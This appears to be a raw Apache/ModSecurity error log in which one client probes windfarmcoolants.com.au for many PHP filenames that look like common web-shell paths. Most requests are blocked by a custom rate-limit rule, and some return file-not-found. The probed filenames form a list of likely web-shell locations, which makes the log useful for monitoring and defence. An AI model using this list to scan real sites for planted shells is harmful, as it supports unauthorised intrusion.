[Mon Mar 23 15:54:56.521035 2026] [:error] [pid 14573:tid 14596] [client 4.223.87.176:50593] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acDx0O-oSmHn3q4_J1F9xwAAAVU"]
[Mon Mar 23 15:54:57.489650 2026] [:error] [pid 35165:tid 35178] [client 4.223.87.176:50051] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acDx0c6udpN6Esk7JKuF-QAAAYo"]
[Mon Mar 23 15:54:58.283271 2026] [:error] [pid 23539:tid 23555] [client 4.223.87.176:46784] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acDx0n7Dh3qWGSpIAZX4jgAAAMc"]
[Mon Mar 23 15:54:59.722794 2026] [:error] [pid 23539:tid 23564] [client 4.223.87.176:50570] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acDx037Dh3qWGSpIAZX4lQAAANA"]
[Mon Mar 23 15:55:00.744418 2026] [:error] [pid 23441:tid 23520] [client 4.223.87.176:50146] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acDx1Bq7S-oOqSXZEr6-hgAAAJE"]
[Mon Mar 23 15:55:01.489909 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:50090] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acDx1WNLjPJJkhuqCsjdkAAAAQs"]
[Mon Mar 23 15:55:03.054173 2026] [:error] [pid 23439:tid 23466] [client 4.223.87.176:49446] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wqqs.php"] [unique_id "acDx16Zv8XIzUKdgaMd-uAAAABE"]
[Mon Mar 23 15:55:04.182820 2026] [:error] [pid 23439:tid 23452] [client 4.223.87.176:50172] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wqqs.php"] [unique_id "acDx2KZv8XIzUKdgaMd-uQAAAAM"]
[Mon Mar 23 15:55:05.447655 2026] [:error] [pid 57265:tid 57287] [client 4.223.87.176:48849] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wqqs.php"] [unique_id "acDx2WNLjPJJkhuqCsjdnwAAARQ"]
[Mon Mar 23 15:55:06.335639 2026] [:error] [pid 23441:tid 23524] [client 4.223.87.176:50097] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wqqs.php"] [unique_id "acDx2hq7S-oOqSXZEr6-jgAAAJU"]
[Mon Mar 23 15:55:07.445621 2026] [:error] [pid 14573:tid 14595] [client 4.223.87.176:50656] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "acDx2--oSmHn3q4_J1F90AAAAVQ"]
[Mon Mar 23 15:55:08.365351 2026] [:error] [pid 23539:tid 23554] [client 4.223.87.176:50075] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "acDx3H7Dh3qWGSpIAZX4rgAAAMY"]
[Mon Mar 23 15:55:09.501287 2026] [:error] [pid 14573:tid 14576] [client 4.223.87.176:50664] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "acDx3e-oSmHn3q4_J1F90gAAAUE"]
[Mon Mar 23 15:55:10.819816 2026] [:error] [pid 23539:tid 23550] [client 4.223.87.176:50653] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "acDx3n7Dh3qWGSpIAZX4ugAAAMI"]
[Mon Mar 23 15:55:11.862963 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:50669] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acDx386udpN6Esk7JKuGCgAAAYM"]
[Mon Mar 23 15:55:13.166128 2026] [:error] [pid 57265:tid 57276] [client 4.223.87.176:49494] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acDx4WNLjPJJkhuqCsjdsQAAAQk"]
[Mon Mar 23 15:55:14.018462 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50119] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acDx4mNLjPJJkhuqCsjdtQAAAQY"]
[Mon Mar 23 15:55:14.647345 2026] [:error] [pid 57265:tid 57283] [client 4.223.87.176:50049] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acDx4mNLjPJJkhuqCsjdtwAAARA"]
[Mon Mar 23 15:55:15.925956 2026] [:error] [pid 57265:tid 57269] [client 4.223.87.176:48768] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acDx42NLjPJJkhuqCsjdvAAAAQI"]
[Mon Mar 23 15:55:16.794971 2026] [:error] [pid 14573:tid 14593] [client 4.223.87.176:49412] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acDx5O-oSmHn3q4_J1F91QAAAVI"]
[Mon Mar 23 15:55:17.742165 2026] [:error] [pid 14573:tid 14578] [client 4.223.87.176:50052] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acDx5e-oSmHn3q4_J1F92QAAAUM"]
[Mon Mar 23 15:55:18.538565 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:50057] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acDx5mNLjPJJkhuqCsjdxAAAARc"]
[Mon Mar 23 15:55:19.252564 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:49487] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acDx52NLjPJJkhuqCsjdxgAAARU"]
[Mon Mar 23 15:55:20.408036 2026] [:error] [pid 57265:tid 57267] [client 4.223.87.176:50577] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acDx6GNLjPJJkhuqCsjdywAAAQA"]
[Mon Mar 23 15:55:21.209859 2026] [:error] [pid 57265:tid 57268] [client 4.223.87.176:48873] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acDx6WNLjPJJkhuqCsjd0gAAAQE"]
[Mon Mar 23 15:55:21.868990 2026] [:error] [pid 57265:tid 57282] [client 4.223.87.176:50175] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acDx6WNLjPJJkhuqCsjd2AAAAQ8"]
[Mon Mar 23 15:55:23.848905 2026] [:error] [pid 57265:tid 57284] [client 4.223.87.176:50104] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "acDx62NLjPJJkhuqCsjd4gAAARE"]
[Mon Mar 23 15:55:25.213352 2026] [:error] [pid 35165:tid 35184] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/feokc.php
[Mon Mar 23 15:55:25.487642 2026] [:error] [pid 35165:tid 35170] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/nc4.php
[Mon Mar 23 15:55:25.789035 2026] [:error] [pid 35165:tid 35185] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Mon Mar 23 15:55:26.503473 2026] [:error] [pid 35165:tid 35180] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Mon Mar 23 15:55:26.833924 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Mon Mar 23 15:55:27.100325 2026] [:error] [pid 35165:tid 35186] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Mon Mar 23 15:55:27.372791 2026] [:error] [pid 35165:tid 35191] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/ws49.php
[Mon Mar 23 15:55:27.866413 2026] [:error] [pid 35165:tid 35183] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/gfd.php
[Mon Mar 23 15:55:28.132423 2026] [:error] [pid 35165:tid 35172] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/callback.php
[Mon Mar 23 15:55:28.462136 2026] [:error] [pid 35165:tid 35176] [client 4.223.87.176:48834] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Mon Mar 23 15:55:28.897521 2026] [:error] [pid 35165:tid 35177] [client 4.223.87.176:48834] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "acDx8M6udpN6Esk7JKuGIgAAAYk"]
[Mon Mar 23 15:55:29.755501 2026] [:error] [pid 23440:tid 23491] [client 4.223.87.176:50639] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "acDx8T49_8n8h_ttcUodLQAAAE8"]
[Mon Mar 23 15:55:30.437624 2026] [:error] [pid 23440:tid 23488] [client 4.223.87.176:50061] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "acDx8j49_8n8h_ttcUodMwAAAEw"]
[Mon Mar 23 15:55:31.217334 2026] [:error] [pid 23441:tid 23515] [client 4.223.87.176:51031] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "acDx8xq7S-oOqSXZEr6-oQAAAIw"]
[Mon Mar 23 15:55:31.762018 2026] [:error] [pid 57265:tid 57287] [client 4.223.87.176:51005] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "acDx82NLjPJJkhuqCsjd9QAAARQ"]
[Mon Mar 23 15:55:32.297324 2026] [:error] [pid 57265:tid 57275] [client 4.223.87.176:50567] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "acDx9GNLjPJJkhuqCsjd9gAAAQg"]
[Mon Mar 23 15:55:32.872942 2026] [:error] [pid 23539:tid 23552] [client 4.223.87.176:51064] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "acDx9H7Dh3qWGSpIAZX44wAAAMQ"]
[Mon Mar 23 15:55:33.474070 2026] [:error] [pid 57265:tid 57285] [client 4.223.87.176:50945] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "acDx9WNLjPJJkhuqCsjd-gAAARI"]
[Mon Mar 23 15:55:34.153199 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:50673] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "acDx9mNLjPJJkhuqCsjeAAAAAQs"]
[Mon Mar 23 15:55:34.781552 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:50585] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "acDx9mNLjPJJkhuqCsjeBAAAARc"]
[Mon Mar 23 15:55:35.720399 2026] [:error] [pid 57265:tid 57279] [client 4.223.87.176:50562] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "acDx92NLjPJJkhuqCsjeBgAAAQw"]
[Mon Mar 23 15:55:36.350842 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:50636] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "acDx-GNLjPJJkhuqCsjeCQAAARU"]
[Mon Mar 23 15:55:37.341418 2026] [:error] [pid 57265:tid 57277] [client 4.223.87.176:50591] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "acDx-WNLjPJJkhuqCsjeCwAAAQo"]
[Mon Mar 23 15:55:38.270548 2026] [:error] [pid 35165:tid 35179] [client 4.223.87.176:50152] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "acDx-s6udpN6Esk7JKuGKAAAAYs"]
[Mon Mar 23 15:55:39.213361 2026] [:error] [pid 35165:tid 35187] [client 4.223.87.176:50986] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "acDx-86udpN6Esk7JKuGMAAAAZM"]
[Mon Mar 23 15:55:39.905694 2026] [:error] [pid 14573:tid 14595] [client 4.223.87.176:50677] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "acDx---oSmHn3q4_J1F-AAAAAVQ"]
[Mon Mar 23 15:55:40.550908 2026] [:error] [pid 14573:tid 14587] [client 4.223.87.176:50586] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acDx_O-oSmHn3q4_J1F-BQAAAUw"]
[Mon Mar 23 15:55:41.582163 2026] [:error] [pid 23441:tid 23523] [client 4.223.87.176:50610] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acDx_Rq7S-oOqSXZEr6-owAAAJQ"]
[Mon Mar 23 15:55:42.865954 2026] [:error] [pid 14573:tid 14599] [client 4.223.87.176:50080] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acDx_u-oSmHn3q4_J1F-DAAAAVg"]
[Mon Mar 23 15:55:44.246816 2026] [:error] [pid 23439:tid 23463] [client 4.223.87.176:50959] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "acDyAKZv8XIzUKdgaMd-1wAAAA4"]
[Mon Mar 23 15:55:44.975937 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50623] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acDyAGNLjPJJkhuqCsjeDAAAAQY"]
[Mon Mar 23 15:55:46.447991 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:50580] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acDyAmNLjPJJkhuqCsjeEwAAAQs"]
[Mon Mar 23 15:55:48.463308 2026] [:error] [pid 14573:tid 14596] [client 4.223.87.176:51059] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acDyBO-oSmHn3q4_J1F-EwAAAVU"]
[Mon Mar 23 15:55:49.306167 2026] [:error] [pid 14573:tid 14588] [client 4.223.87.176:51036] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "acDyBe-oSmHn3q4_J1F-FAAAAU0"]
[Mon Mar 23 15:55:52.496292 2026] [:error] [pid 23441:tid 23511] [client 4.223.87.176:50678] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "acDyCBq7S-oOqSXZEr6-sgAAAIg"]
